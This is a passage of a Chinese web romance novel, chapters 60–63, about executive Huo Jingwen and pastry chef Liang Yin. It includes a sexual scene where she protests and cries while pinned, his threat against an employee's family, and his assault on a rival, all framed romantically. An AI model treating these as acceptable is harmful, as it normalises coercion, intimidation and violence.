霍景闻勾了勾唇:“成交。” —— 霍景闻是踏着月色回到的天星嘉华。 李阿姨一打开门,他就听到了女儿欢快的咯咯的笑声。 梁音正在和意意玩游戏。 见他回来,梁音“唔”了一声:“怎么这么晚呀。” “吃了晚饭么?” 霍景闻点点头:“吃过了。” 意意欢快的跑过来:“爸爸~” “小公主。” 霍景闻一把就把孩子高高的举了起来。 “啊,飞高高啦~” 意意欢乐的笑声传满了整个客厅。 这时门铃声再次响起,打开门,霍景闻的助理提着一个行李箱放在门口,恭敬地说:“霍总,您的衣服收拾好了。” “嗯。”霍景闻淡淡应了一声,单手抱着女儿,一手把行李箱拉过来,转头把门关上,目光撞上一脸懵的梁音。 他笑了笑,“怎么了?我让他送了两套我平常的换洗衣物而已。” 梁音迟疑地说:“你今天晚上要睡在这儿么?” 可是她的床很小啊……三个人会很挤的。昨天晚上是因为怕太折腾了,勉强睡下的而已。 霍景闻似乎是完全不在意这点:“当然。” 说完把女儿放下,一边扯领带一边走进浴室,随后浴室里传来了淅淅沥沥的水声。 过了一会儿,他的声音隔着门传来,“老婆,帮我拿一下睡衣。” 梁音只能把他的行李箱打开,从里面拿出一套蓝灰色的睡衣递进去。 * 这是一个很温馨的晚上,如果忽略有点儿挤的话。 洗完澡的霍景闻靠在床头,拿起意意的童故事书翻了两页。 意意很激动,趴到他怀里,“今天是爸爸给我讲故事嘛?” “嗯。”霍景闻搂住小孩儿,捏了捏她嫩乎乎的小脸儿,“我的小公主今天想听什么呢?” 意意想了想:“我要听美人鱼的故事!” 霍景闻翻到美人鱼那一页:“行。等你妈妈出来爸爸就开始讲。” 意意乖乖的躺好:“好的。” 没过一会儿梁音也从浴室里出来了,一打开浴室的门,就看见床上有两双几乎一模一样的丹凤眼在盯着她。 霍景闻这时掀开被子,在床上拍了拍,催促:“快来。” 意意也向她招手:“妈妈快来,爸爸要给我们讲美人鱼的故事。” 梁音磨磨蹭蹭爬上床,躺了上去。 “很久很久以前,在某个小岛的对面有一个大海,大概底下生活着一条漂亮的美人鱼……” 霍景闻的声音清朗悦耳,像是浸过薄凉月光的冰泉,拂过耳边,勾起一阵酥酥麻麻的痒意。 他读故事时,抑扬顿挫,咬字清晰,让意意不自觉就沉浸下去了。 没过一会儿眼皮就耷拉了下去。 眼看要睡着,忽然听到了什么,她又努力的睁开困倦的眼皮,仰头询问霍景闻:“爸爸,小美人鱼的尾巴变成双腿好痛呀。” 霍景闻:“是呀。” 意意:“那如果不变成双腿,她怎么去岸上见小王子呢?” 霍景闻:“很简单,把小王子抢回海里就好了。” 意意恍然大悟,不纠结了,转头趴进妈妈柔软的怀里,安心的睡去。 没一会儿就打起了小呼噜。 霍景闻把故事书放下,没躺下来,而是撑着下巴看着梁音,明知故问:“睡觉?” 梁音不知道他这睡觉有什么含义。 但是意意在这儿呢,必须是纯洁的睡觉。 她把女儿搂紧了些,“那关灯吧。” 女儿睡中间呢,他也做不了什么。 霍景闻点点头,坐起身,却没有关灯,而是伸手把女儿从梁音怀里抱了出来,然后放在了自己身侧,自己往中间躺下。 这是他的位置。 睡得香甜的小公主哪里知道自己睡着之后爸爸这么无情,竟然让她睡床边。 “啪嗒”一声,灯关掉了,房间里顿时陷入黑暗。 梁音被霍景闻紧紧抱在怀里,呼吸里全是他身上清冽的味道。 隔着他,还能听到女儿的呼吸声。 伸手推了推他的胸口,小声说:“让意意睡中间,不然她会掉下去的。” 霍景闻握住她的手腕:“不会,我给她留了一半的位置。我们两个委屈一下,挤挤?” 谁要和他挤。 梁音话还没出口,就被他堵住了嘴巴,很快他的舌头也推了进来,勾着她用力吞吃。 “唔……” 温暖的被子里,传来黏腻的,暧昧的口水交缠声。 梁音被他摁着后脑勺,不断抬起下巴,承受他的亲吻。 亲的太久了,让她憋得有些喘不过气来,只能挣扎着推他。 霍景闻也没有继续控制她,很快如她所愿从她嘴里退出来,揽着她紧密的摁进怀里哄她:“好了好了,不亲了。” 因为位置实在太小了,两人挤在一起,梁音近乎是半边身子都躺在了他身上。 被子里的温度在火热上升。 梁音的脸埋在他胸口,脸上一片红霞,她闷闷地出声:“霍景闻……” 霍景闻已经闭上了眼,“嗯?” “我想了想,明天开始,我们还是住到你那里去吧。” 她感受到他的胸膛震动了两下。 耳边同时落下他愉悦的轻笑声:“好的。” “老婆真乖。” 梁音实在没忍住,握起拳头,轻轻捶了他一下。 就知道他是故意的。《 》 60-64 第61章 第61章梁音,好久不见。…… 千水公馆。 又是一个阳光明媚的早晨。 意意被李阿姨带出去玩了,家里只剩下她和霍景闻。 温暖的卧室里气温在一节节攀升,火热到能逼出肌肤里点点细密的汗珠。 梁音坐在床上,睡衣扣的松松散散,随着她往上慢慢摸索,扣子中间的细缝若隐若现,露出的白皙肌肤上,有深红相交的吻痕,从锁骨下方,一直延绵往下。 可见昨晚的状况也是尤为激烈的。 昨天晚上霍景闻回来的时候已经很晚了,结果竟然还摁着她做了两次。 梁音一头黑亮顺滑的长发落在瘦薄的肩头,鼻尖挺翘,红唇柔软,可是她伸手往前摸索着,想要抓住什么,却握到一只指节修长的大手。 她想把眼睛上银白的丝带扯下来,却被霍景闻摁住,淡声说:“不行,你还没猜对,不可以摘下。” 原来霍景闻要和她玩“猜水果”的游戏。 银白的丝带蒙在她小小的脸上,就算阻挡了她的目光,也能透过这片纯洁的丝带感受到她无辜可怜的眼神。 说到这万恶之源的丝带……还是明颜给她买的,美其名曰庆贺她和霍景闻和好。明颜在网上下单了一堆的情,趣用品寄送过来,说让她好好调。教一下霍景闻。 结果这聊天记录昨天晚上就被霍景闻看到了。 上帝作证,她真的没有这种想法呀。 真的好冤枉。 可是霍景闻可不管这么多,铁了心要她为这种冒犯的想法“赔罪”,所以今天一早,这条看起来很白其实很黄的丝带就绑在了她眼睛上。 当然除了这条,还有配套的绑住手脚的红丝绸,霍景闻很好心的没给她用。 梁音心底还是稍稍松了一口气的。 刚刚轻吐一口气,一颗冰冷的水果就喂到了她嘴边。 霍景闻语调还是很淡:“尝尝看这是什么水果。” 梁音张嘴,贝齿咬了一口,一点酸中带甜的汁水涌入口腔。 这很简单啊。 “这是车厘子。” 她咬下果肉,要把果核吐出来,霍景闻直接让她吐到他掌心,奖赏一般捏了捏她的脸,“答对了。” “那我答对了,总可以松开了吧?”梁音坐在那里,很天真的询问。 霍景闻从胸腔里滚出愉悦的笑声,他低下头轻轻地吻上她的唇瓣,先是浅尝辄止的吮,再是一点一点的舔吃,细腻的像是在品尝最润滑甜蜜的布丁,不过几秒,梁音的唇就变得水光淋漓。 他退开,握住她的手腕故意“咦”了一声,“我有说,你答对了就要放开你么?” “……” 梁音白皙的小脸上涌起一种羞赧的红晕。 她挣扎了下,想挣脱他的控制,轻闷的嗓音含着车厘子般的甜腻,“霍景闻,你,你放开我。” 可是下一秒,她就被他摁着往后躺倒在床上,柔顺鸦羽般的青丝散落满枕。 眼睛被蒙着,眼前只有一些蒙白的看不清的光影。 可是这并不影响她清晰的听到了衣服落在地毯上的沉闷声。 “你……别……” 梁音的话还没出口,胸前一道精壮炙热的身体就覆了下来,大腿被他压住,两只手腕被他单手握住摁在了头顶上方。 近乎禁锢一般的力道让她忍不住缩了缩手脚,却怎么也无法逃脱出来。 他灼热的呼吸落在耳边,慢条斯理又充满危险:“餐前水果吃完了,那么老婆,我开始享用正餐了。” 伴随着他的话音落下,梁音感觉自己胸前的扣子慢慢松开了。 他火热的指尖按在她的唇瓣,轻轻地拨动,分开,冷着脸心疼地说:“宝宝,你这儿怎么被咬得这么可怜,红红的,还点儿肿” 他哪里是在询问,分明是在炫耀。说完以后就低下头咬了上去,含咬着她的唇吞吐,大力吸吮。 梁音肩脊敏感的颤抖,感觉后腰都在发麻,低吟着无助的阻止:“不要这样……霍景闻……” 柔软的嗓音渐渐带上了哭腔。 “别哭啊宝宝。”霍景闻挤开她的腿,哑声说,“我会心疼的。” “我要是心疼了……”他吻着她红肿的嘴,闷哼了一声,哑声说,“会硬得更快。” 梁音终于明白,他不用那红丝绸绑住她的手脚不是因为他好心,而是他压根用不着。 …… 明媚的阳光随着时间向南推移。 梁音背过身去,整个人躬起身脸埋在枕头里,只能听到她细闷的啜泣声。 无论霍景闻怎么讨好的亲,都不理他。 梁音脾气是很好的,情绪稳定也不爱生气,霍景闻也只有每每在床上把她弄成这样,像是水做的一样。 他慢慢躺下来,搂着她的腰一口一口温柔的亲,发泄完欲望之后,他还是很顾虑梁音的心情的。 “宝宝……” 他黏糊糊的亲她细嫩的颈,“别哭了,我会心疼。” 听到这句话,梁音从枕头里抬起脸,推了他的手臂一下。 霍景闻也意识到自己说了什么,轻笑了声:“这次是真的。” “好了好了,别哭了。我就是个混蛋,你要我怎么认错都行。” 梁音还是抿着唇不理他。 折腾完她了再来毫无诚意的认错,她才不要。 霍景闻微微叹息一声,更加紧紧的抱住她,从背后埋进她的黑发里,“我这不是,没忍住。你也知道,我这些天太忙了,好不容易才有点休息的时间,就想……和你在一起。” 霍景闻这话也不完全是在卖惨装可怜。 他这一周的确很忙。 甚至可以说是前所未有的忙。早出晚归,晚上最晚的时候到凌晨一两点才回来,每天梁音醒了身边的床铺早就冷了,甚至他连早上送意意上学的时间都没有了。 以往他就算再忙,就算刚出差回来,遇到意意上学,他也不会缺席的。 可见这次,他的确已经忙到抽不开身了。 梁音听说过霍氏目前最大的城西项目已经在稳步的开发了,她不知道还有什么事能让他忙成这样。霍景闻从不把工作上的事情告诉她,她也很少过问。 但是,霍景闻早就坐稳了霍氏集团掌权者的位置,还能有什么事能让他如此疲惫忙碌。 是因为他公开了和她在一起么? 是不是在她不知道的情况下,霍家的人,比如他口中的老爷子,还有他的父亲,真的在为难他呢。 梁音不能不这么想。可是就算她猜到了,好像也帮不上他的忙。 她轻轻地叹气。 胸中那点儿对他的气恼也就散了。 “那好吧……这次我就原谅你了。”梁音从他怀里转了个身,靠在他胸口。想了想,又抬起下巴在他唇上轻轻落下一吻。 眼眸还漫着迷蒙的雾气,却好哄得要命。 霍景闻脊背因为她忽然的吻瑟缩着,怔了一下。垂眼看着她还泛着情欲后的脸,眼尾都透着薄红。 温柔又乖软。 霍景闻不知为何,胸腔渐渐浮起了一丝躁意。 艹。 梁音怎么可以这么乖。 这样他真的会忍不住……弄坏她。 一个美好的早晨就这么荒废的度过。 梁音起床时,已经快十一点了。 霍景闻换了一身西服出来,剪裁合体的高定西装完美衬出他的身形,宽肩窄腰,眉目俊朗,英俊得一塌糊涂。 他的手机又响了起来,大概是要去忙了。 梁音从厨房里拿出一盒精致打包好的小饼干走出来递给他。 “这是我给奶奶烤的一些动物小饼干,没有放糖,只放了一些无花果干和羽衣甘蓝汁调味,做了好几种,你派人送给你奶奶的,如果奶奶有哪里不满意的,可以记下来,我到时候再改改。” “好。”霍景闻接过来,却并没有直接走,而是把饼干放在茶几上,握着她的手腕拉到沙发上坐下,“我有件事儿和你商量。” 梁音:“什么呀?” 霍景闻:“怪我疏忽,防住了霍家所有人,却忽略了老太太,让她查到了意意。” 霍景闻没有防范老太太,一方面是因为她独自住在明湖山庄,深居简出,已经不掺和霍家的任何事。另外一方面,老太太这几年年被诊断患上了轻度的老年痴呆,也越来越健忘,实在太过人畜无害,霍景闻也没有想过老太太还这么敏锐。霍家所有人的目光都落在他特意为梁音和孩子做的假资料上,而只有老太太,竟然不知道什么时候,早就拿到了孩子的照片。 估计梁音和孩子的底细,她早就查清楚了。 不过老太太已经不过问霍家事,虽然查清楚了,她也没有要公开和阻止的意思,对梁音和孩子来说,老太太不会有什么威胁,唯独一点,老太太似乎很喜欢意意,那天只看了一眼,霍景闻就能想象得到,老太太的平板里不知道多少意意的照片。很多都是意意在上学时候玩闹的生活照。 如果是为了调查,不会查得这么细。 后来他随口一试探,果然把老太太试了出来。 霍景闻握住梁音的手腕,在她面前蹲下,“老太太很喜欢意意,对我们也没有恶意,所以我想问一下你的意见,可不可以让意意去陪老太太一天。” 梁音是见过霍景闻的奶奶的。 虽然头发已经发白,但精神状态很好,人也很和蔼,没有豪门中那种盛气凌人的习性。 当初在病房里,她还和霍景闻在老太太面前演了一出戏呢,却反被她揭穿了,挺有趣的老人家。 可是…… 梁音苦恼的想了想:“我可以不同意么?” 霍景闻:“当然。” 霍景闻:“我答应过你的,在女儿的问题上,我完全尊重你的选择。” 梁音俏皮地眨了眨眼:“哦。” “那好吧,我同意了。” 霍景闻眉头顿了秒,扯着嘴角,揉了揉她的脑袋,不可思议地说:“你逗我?” 梁音笑眯眯的皱了皱鼻子。 他还经常逗她呢。 她也得逗逗他,有什么不可以。 “奶奶什么时候想看意意?我晚上和意意商量一下。” 霍景闻:“不急,我先把你的饼干送过去。” 霍景闻:“过几天再说。” 梁音:“噢。” 霍景闻故意学她:“噢。” 梁音:“……” 梁音张了张嘴气呼呼的想说什么,下一秒,他的吻又落了下来。 明媚的阳光透过落地窗洒落进来,蔓延在客厅里那对交缠拥吻的年轻男女身上。 美好,甜蜜,又安宁。 可惜下一秒,吵闹的电话又不合时宜的响了起来。 霍景闻含着她的唇瓣,因为电话的打扰,英挺的眉骨不悦 的拧紧,任由那手机响了又响,似乎也不打算去接。 梁音只好推了推他,提醒,“电话。” “肯定是你的助理在找你,有很紧急的事儿了,快去吧。” 好不容易挤出一点时间和梁音在一起,就这么被打断。 霍景闻闭了闭眼,只好慢吞吞的站起来,一脸的烦躁不耐,情绪立马淡下来。 梁音只好哄他:“我今天不太忙,要不然晚上,我去公司看你,陪你吃晚饭好不好?” 霍景闻这才傲娇的淡淡应了一声:“好。” …… 霍景闻走后,梁音本打算去找李阿姨和女儿,结果刚出门就接到一个电话,餐厅临时接到一个公司的团建单,人数比较多,副厨怕搞不定,打电话来向她求救。 梁音只好打电话给李阿姨交代了一声,转头开车去了菲尔纳丽。 去到餐厅拿到副厨递来的一长串可以拖到地上的单子,都快比她还高了。餐厅现有的人手还真是搞不定。 没时间耽搁,梁音拍了拍手:“那就加紧做吧。” 梁音话音落下,甜品厨房里各种机器的顿时开始运作。 这一忙,就整整做了四个半小时,才紧赶慢赶把所有的甜品都备好,恰好这时,订餐的公司人也到了。 梁音看了下时间,已经五点半了。 她转身去总厨,去拿大师傅做好的晚餐,她答应了霍景闻今天晚上要去公司陪他一起吃晚饭。 拿着保温桶刚刚走出后厨,沈浩从办公室走了出来,笑着拦住她:“梁音你等一下。” 梁音:“怎么了,沈经理?” 沈浩脸色闪过一丝的不自然,神神秘秘的说:“那个就是我有个朋友,是你的粉丝,想见你一面,现在就在我办公室,你可以来一下不?” 梁音一听是他的朋友,没多想点点头:“可以啊,不过我待会儿还有事,不能久留。” 沈浩:“没事儿,就说几句话就成。” 梁音:“好的。” 她提着保温桶,跟着沈浩进了办公室。 下午的夕阳正盛,金红一片穿透沈浩办公室的窗户,落下一地的彩霞。 沈浩快步打开门,引梁音进去。 门一推开,沙发上坐着一个清瘦的年轻男人,一身灰色的大衣,整个人看起来清爽又利落。 他闻声转头看过来。 梁音脚步一顿,站在了原地。 储深从沙发上站起来,走过来,对她笑了笑:“梁音,好久不见。”—— 作者有话说:还有一章~ 第62章 第62章我要你哄我。(二更)…… 沉寂的总裁办公室内。 张晓抱着一堆文件讷讷的站在干净得反光的办公桌前,低着头,额头几乎沁出了一层冷汗,有点磕磕巴巴的说:“财务部那边的林总没有通过这批预算,说是……” “说是什么?”电脑后面的霍景闻抬起脸,声线冰冷地问。 张晓:“说是这个项目,风险部门没有通过评估,财务部没有办法批款。” “风险部没有通过的原因。” 张晓小心翼翼的把怀里的资料摊开放在办公桌上,递到霍景闻面前,“项目书被打回来了,阎总在上面详细说明了不符合公司规章制度的各风险项目……” 其实他看过了,都是一些无关紧要的章程问题,可是风险部抓住这些流程问题死死卡着,财务部那边又不批款,这项目就这么耽搁下去,来来回回几次,什么黄花菜都凉了。 有脑子的人都知道这风险部门和财务部门有人吃了熊心豹子胆,竟然在给霍总使绊子。 而且这已经不是第一次了。 总不可能次次都需要霍总亲自去盯。 现在这霍氏上下,还有人能让霍总都困住手脚,寸步难行的,想来想去,也就只有霍家那位老爷子了。 可是老爷子很早就退出了霍氏的经营,培植霍总成为霍氏的继承人,这个时候,又怎么会让人为难霍总呢? 张晓是个聪明人,他不得不把目光放在了那位闹得沸沸扬扬的梁小姐身上。 这梁小姐虽然优秀,但也就是一个餐厅的甜品师。于大众标准而言,想要配上霍家的门第,那是远远不够的。 如果霍氏的太子爷,霍氏集团的继承人,竟然娶了一个小小的厨师回来,恐怕会沦为上流圈的笑柄。 这霍老爷子最注重家族名声,当然不会眼睁睁看着霍总娶一个不入流的厨师。 这也就是一老一小如今打擂台的原因吧。 而霍总看上去……恐怕也不会屈服,毕竟他为了梁小姐做的每一件事都够惊天动地的,夸张到恨不得全天下的人都知道他和梁小姐在一起了。爱得死去活来的,怎么可能说放手就放手。 如果他不是霍总的助理,要承受他的怒气,说实话这豪门狗血剧情还是挺精彩挺刺激的。 张晓在心里默默想,面上却不显,表情都没变一下。 霍景闻移过桌上打回来的文件看了一眼,冷厉的眼尾下压,薄唇抿紧的弧度透着浓浓的不悦。 老爷子给他使绊子,他要开的项目,处处受到阻挠。 这让一向做什么都顺风顺水,手到擒来的霍景闻无比烦躁。 他不是解决不了,只是做任何事都要花费从前超两倍的时间严重拉低了他的效率,以往这种微不足道的小事,现在都需要他亲自过问才能解决,简直在浪费他的时间。 霍景闻将手里的文件重重丢下,姓阎的老小子,他还真敢。以为有老爷子撑腰,他就拿他没办法了是么? “把姓阎的给我叫过来。” 张晓浑身一震,头更低了:“阎总……他刚刚休假了,要三天以后才回来。” 霍景闻顿时冷嗤了声,气笑了重重点头,“好,真好。” 竟然敢这么耍他。 看来是他最近在公司太和善太好说话了,连一个小小的风险部经理都敢耍他。 那他也不介意让这姓阎的尝尝他的手段。 他抬手看了眼腕表,冷声说:“给姓阎的打电话,今天晚上八点之前,我要是在公司还看不到他的身影,我不介意,派人亲自上门问候他一家。” 那话里的威胁含义不言而喻。 整个霍氏高层,没有谁不知晓这霍总的手段狠辣残忍,这可是个连亲爹都不留情的人物。 “是。” 张晓不敢耽搁一秒,连忙出门联系。 办公室的门一关上,安静重新笼罩。 已经快六点了。 怒意上头的情绪渐渐平复,霍景闻脊背往后一靠,想起来梁音今天要来陪他吃晚饭。 差不多也该到了。 他想。 他得平下情绪,不能吓到她。 拿过一旁的手机,准备问一下她到哪儿了,结果打开微信,发现十分钟之前,梁音给他发了一条微信:【抱歉我这里还有点儿事,不能陪你吃晚饭了。我找人把晚餐给你送过去了,要好好吃饭。】 霍景闻眉头蹙了起来,手指动了动:【有什么事儿?】 发过去的微信石沉大海,没有回应。 霍景闻干脆打了个电话过去。 结果耳边传来电话已经关机的冰冷提示声。 梁音的手机怎么会关机?如果是忙餐厅的事,她的手机不该关机。 难道是老爷子……不可能,老爷子坐高堂惯了,是不屑去对付他看不上眼的人的,他不至于这么下作。 但想到有这样一丝的可能,霍景闻就无法再保持冷静,忍不住焦躁起来。 …… 到晚餐时间,菲尔纳丽的客人越来越多。 连服务员的脚步都变得有些匆促。 台上正拉着悠扬的小提琴曲。 靠窗的一桌上,气氛却无比的安静。 梁音低头搅拌着杯子里的咖啡,慢声问:“你怎么回来了?” 她还记得他的志向,赚到足够多的钱,然后再也不回来。 因为年少的贫穷让他在这个城市受到了足够的冷落。这里没有 一点温暖的让他留恋的东西,让他再次回来。 梁音没想到会在这里见到他。 更没有想到,他和沈浩,竟然是朋友。 储深还是那副风度翩翩的样子,他喝了一口咖啡,不答反问:“你觉得呢?你觉得我回来是为了什么?” 他说话经常这样似是而非。 以前两人作为朋友,梁音还愿意去猜猜他的想法,可是自从他因为大卫的事,直接把她从餐厅开除,直接坐实了她“抄袭”的名头,梁音就不愿意再猜了。 一个不信任她,把她推入深渊的朋友,没有必要再往来。 但他曾经也帮助过她,为她介绍了佛罗伦萨的工作,引荐她进了T&R,可以说,他算得上是她的贵人。 恩仇两难,她再失望,也没办法恨他——这个曾经那么用心帮过她的朋友。所以她能做的,就是和他不再来往。 不管他因为什么而回来,她都不再关心。 储深见梁音没回答,有点尴尬,自己补充了句:“我这次,是回来见老朋友的。你也看到了,我和沈浩是大学同学,刚好有假,便回来找他叙叙旧。” “而且,你也在这个餐厅不是么。梁音,我们也有大半年没见了,你最近还好么,意意呢,有没有长高一点……”储深自顾自地说着,“对了,我在意大利也看到微博热搜了,你和……你的前男友又在一起了?我还记得,当时你出国,哭着说过永远不会原谅他的……” 他问了很多。 梁音只回了一句:“他给我道歉了。” 储深语气有些怒其不争:“道歉了你就原谅他了?他曾经那么伤害你,梁音你的脾气太软了,那么傲慢霸道的人,根本就不适合你。” 好像在指责她不长教训。 梁音不知道为什么,有点沉默。 过了一会儿才轻声说:“是啊,我的脾气好,不喜欢和别人争吵,所以总是受伤的那一个。他是伤害了我,可是他也很认真的给我道歉了,解释了,而且,他等了我六年。最重要的是,我还喜欢他,所以我愿意再给他一次机会。” 这有什么不对么。 既然喜欢一个人,那么包容他的一次错误有什么不可以呢。 她分得清自己在做什么,不需要他来指责她。 “他做错了事,至少会认真的向我道歉。”梁音又重复了一遍。 储深脸上表情带上了一丝尴尬,“你是还在怨我把你开除?梁音,我说我也是为你好你信么?当时那种情况,不管是从餐厅的角度,还是为你好,把你开除是最好的选择。而且你大概不知道,是我向沈浩推荐的你。” 梁音抬起头:“你的意思是,我还要为此而感谢你么?” 储深:“我不是这个意思。” 梁音:“谢谢你向沈经理推荐我,但我能留下来,是凭借我的本事。当时入职的时候我就向沈经理表明过我深陷一桩抄袭官司,将来可能会出问题。他还是表示会相信我,上节目的时候,我深陷流言与抄袭风波,沈经理也没有第一时间为了餐厅就开除我,而是给了我时间去处理,去证明自己。我不要求所有人都能像沈经理一样宽容信任,可是储深,你是我最信赖的朋友,我出事的时候,你明明可以有更好的选择,可是你连给我自证的机会都不给我,直接把我开除,让我,无处解释,难以自证,把我钉在了抄袭的耻辱柱上。导致我后面的自证路更加艰难万分。” “我知道你好不容易坐上了经理的位置,不敢出一丝差错,怕因为我影响到你,所以才这么做。为了自己你这么做无可厚非,我也没有什么可以指责你的。但是受到深深信赖的朋友的背叛,我因此受到的伤害实在无法释怀,所以我们,还是不要再见面了吧。” 梁音说完以后就要从座位上起身。 她其实知道储深回国是因为她。 就像她之前说的,都是成年人,有些心照不宣未曾出口的话,他不说,她就当不知道。 而她,从头到尾,也只是把他当做很好的朋友而已。 他曾经给过她帮助,她很感激。 他也给过她伤害,她无话可说。 梁音拿起包往外走,储深连忙跟了上去。他这次来,是想鼓起勇气尝试一次,他还有话没有说完。 从菲尔纳丽出来,天色已经完全黑了。 储深拉住她,“梁音,这件事是我做得不够好,我给你道歉。我当时也是太害怕了。我想的是你已经出事了,如果我再被牵连,我们两个都被拉下水,这是件得不偿失的事。” “你看,你现在的官司也打赢了,也都没事了不是么。我们曾经是那么好的朋友,真的要因为这件事而老死不相往来?” 梁音想拉开他的手,“可是我……” 储深余光中看到一辆沉黑的豪车静静停在路边。 黑色的车窗关得很紧,什么都没露。 储深想到什么,忽然脚下一扭,痛苦得“嘶”了一声。 这让梁音的话下意识止住。 看着他痛苦的面容,手臂扶了上去:“你怎么了?” 储深勾了勾嘴角:“我——” 话音未落,一道高大的身影怒气冲冲下车,快步走来,几步来到他身上,对着他的脸毫不留情就是重重的一拳。 储深整个人被揍得摔倒在地,捂着颧骨痛得躬起身。 霍景闻脸上表情冰冷又怒极,厌恶的看着地上的储深,“垃圾,他妈又来这一套,就会装傻卖蠢,老子看你不爽很久了!” 梁音不知道他怎么会来,怕他还要打人,下意识的就要去拦他,拉住了他的手臂。 霍景闻不敢置信地望着她,“你为了他拦我?” 梁音试图让他冷静下来:“我不是为了他。有什么话不能好好说呢,你别打人啊。” 霍景闻怒极反笑:“他勾引我老婆,我还得和他好,好,说?这又是什么道理?” 梁音:“没有这回事……” 储深这个时候已经站了起来,看了眼梁音,苦笑地说:“梁音,我没事,不必为了我和他争吵。” 那不紧不慢的整衣领的动作,落在霍景闻眼里,是十足的挑衅。 他想打这个该死的窝囊废贱人很久了。 以前就仗着和梁音是同学,处处打着同学朋友的旗号横在他和梁音中间。要不是这姓储的处处作梗,他也不会因为吃醋而口不择言和梁音吵架。 这个人,真是让他,不爽极了。 梁音已经感受到霍景闻的怒气了,预感到接下来会发生什么,让她几乎有些心惊肉跳。立刻就表明:“不是,我今天是想和储深说清楚的,我不会为了他和你吵架,霍景闻……” 可惜还是来不及了。 霍景闻拉着梁音往后走了两步,让她躲开,转头又是重重一拳头挥到了储深脸上。 储深也不甘示弱,挥拳反击。 霍景闻出身高位,储深一贯维持体面,都是风度翩翩的人物,此时却采用了最原始的肉搏,你来我往,一拳又一拳,打得不可开交。 可霍景闻毕竟身量更加高大,又从小练拳,连曾经的散打冠军都被他打趴下,他要是认真,储深又能扛得上他几下。 霍景闻几乎是怒不可遏,愤怒到失去了理智,压根不听梁音的解释,扯着储深的衣领,握紧拳头,眼看就要照着他面门砸下。 这一拳下去,储深说不好都要落得个残废。 周围已经有不少听见动静要围过来的路人。 事态再发展下去,不知道要有多糟糕。 “霍景闻!”梁音握紧了手指,提高声音,一字一句地说,“你再打架,我就和你分手。” 最后两个字眼飘进耳膜,让霍景闻身体狠狠一僵,拳头落在储深脸上方一指,豁然顿住。 他的脑袋因为那两个残忍的字眼,快要炸开。像是有一双手,在狠狠的抓紧他脆弱的心脏,扼住他的喉咙,让他感觉快要窒息。 他松开储深的衣领,缓缓转身,一双猩红的丹凤眼紧紧盯着梁音。 “收回去。”他没什么情绪的,缓慢的说,“把刚刚那句话,收回去。” 梁音快速走到他面前,握住他颤抖的手指,用力地抱住了他。 “好,我收回去。” “那你不要再打了,好不好?我和储深真的什么关系都没有。” 拉着霍景闻离开之前。 梁音看了坐在地上的储深一眼,平声说:“该说的话已经说完了,你有你的考虑,我也要顾虑自己,还有我男朋友的心情。你回意大利吧,以后,我们不要再见面了。” 储深擦过眼角猩红的血痕。 低着头,再无话。 …… 街边那辆库里南不知道停了多久。 梁音也不知道霍景闻为什么会忽然过来,又在这里看了多久。 他的脸上也挨了两拳,颧骨青了一块,嘴角渗出了点点血迹。 梁音从包里找出一根碘伏棉签,掰开让深红的碘伏倒进棉签里,轻轻的擦在他的嘴角消毒。 霍景闻脸上的戾气还没有完全消散,他静静盯着她脸,咬紧了牙关:“刚刚,为什么要说那样的话?” 她竟然又向他提分手。 还是因为那个储深。 是怕他把他打死么? 霍景闻抿着唇:“你知道我不会同意。” 梁音擦着他的嘴角:“我没有要和你分手,我只是,想让你停下,有什么话不能好好说,非要动手?” 霍景闻挥开她的棉签,打落。伸手握住她纤弱的肩,近乎低吼:“那你也不该说那样的话,你知道我有多生气?” “说好和我今天一起吃晚餐你不来,打你的电话也关机,我心急如焚,怕是老爷子找上了你,什么都丢下过来找你,结果我看到你和那个储深一起走出来,我就已经没有理智了。我他妈早就想打他了。梁音,你不向着我,还用分手威胁我?下次你再这样,我也会生气。” 他现在确实称不上理智了。 不管梁音是出于什么目的说的那番话,他都没有精力再去分辨。 他就是讨厌,梁音再一次和他提起分手两个字。 他听不了,近乎应激一般的完全无法接受。 “我不是不向着你只是希望不要把事情闹大,储深今天来找我我也没有想到,我和他什么都没有的。”梁音又一次解释。 至于为什么没有告诉他,那是因为她太清楚他有多容易在这方面吃醋。她不想因为储深的出现,再引起他们的不快,他这些天已经够累了。她想自己把这件事处理好。 她和储深没有可能的,从六年前就是。 原来她都和储声谈的差不多了,也表明了她的态度。没有意外的话,她和储深以后不会再见的。 可是他出现了,不听她的解释,抬手就打人,不管不顾,下手又狠,把人往死里揍,自己也挨了几拳受了伤。 再下去,事情会闹的不可收场,在这个关头,要是被有心人拍到发上网,不知会引起多么大的舆论。情急之下她才说了那样的话。 现在想想,是她欠考虑了。 “对不起,和你说了那样的话,我很抱歉。我保证,以后绝对不会再说了。” 车里气氛几乎要凝固。 她的肩膀被他紧握着,就在他的桎梏之中。 被握得,都有些疼痛。 梁音看着他绷紧的薄唇,他眸中的怒气依然没有消散。 眼睫颤了颤,几乎是无奈的靠过去抱住了他,温声说:“我真的只是要和储深说清楚,你讲讲道理好不好?” 霍景闻感受到她身上温暖的体温,脸埋进她的颈窝,闭了闭眼,才控制住那翻涌的戾气。 他不想吓到她了。 她已经道歉了。 是他没有控制住。 他伸手紧紧抱住她,嗓音还是发抖,沉声说:“我不讲道理,我要你哄我。”—— 作者有话说:圣诞节啦,大家圣诞节快乐呀~ 也祝音音生日快乐哦~本来剧情也想写到圣诞节的,奈何我的手速太渣了,没写完[托腮] 第63章 第63章是妻管严。 回到千水公馆的时候已经很晚了。 李阿姨带着意意已经回房间睡觉,客厅里亮着灯,落地窗外,满目霓虹盛景,连绵璀璨的华灯直到黑夜尽头。 夜色喧嚣,人心鼓动。 梁音脱下身上的外套,有点儿不自在,“我先去洗澡了。” 霍景闻:“好。” 梁音脚步匆忙,先去女儿房间里看了一眼,这才回了卧室,拿睡衣洗澡。 洗完澡,又把头发洗了,吹干,涂上护肤品,动作比平常更加慢吞吞的,就好像要在浴室躲到天荒地老似的。 推开浴室的门,已经是一个多小时后的事情了。 霍景闻早就在外面的浴室洗好了澡,黑色的碎发没有完全吹干,还带着点点湿意。 他穿着一件烟灰色的浴袍,腰带随意系了下,不甚牢固的结在他腰腹摇摇欲坠,像是很快就要散开。 胸前饱满的锁骨上还弥漫着水汽,那颗猩红的小痣在他冷白的皮肤上显得禁欲又极具性感。 霍景闻大马金刀坐在床上,手臂往后撑,长腿随意大张分开放着,姿态慵懒又狂放。 他冷厉的凤眼抬起瞥了她一眼,“我还以为你要躲到明天晚上去。” “过来。” 梁音磨磨蹭蹭走了过去,站在他中间。 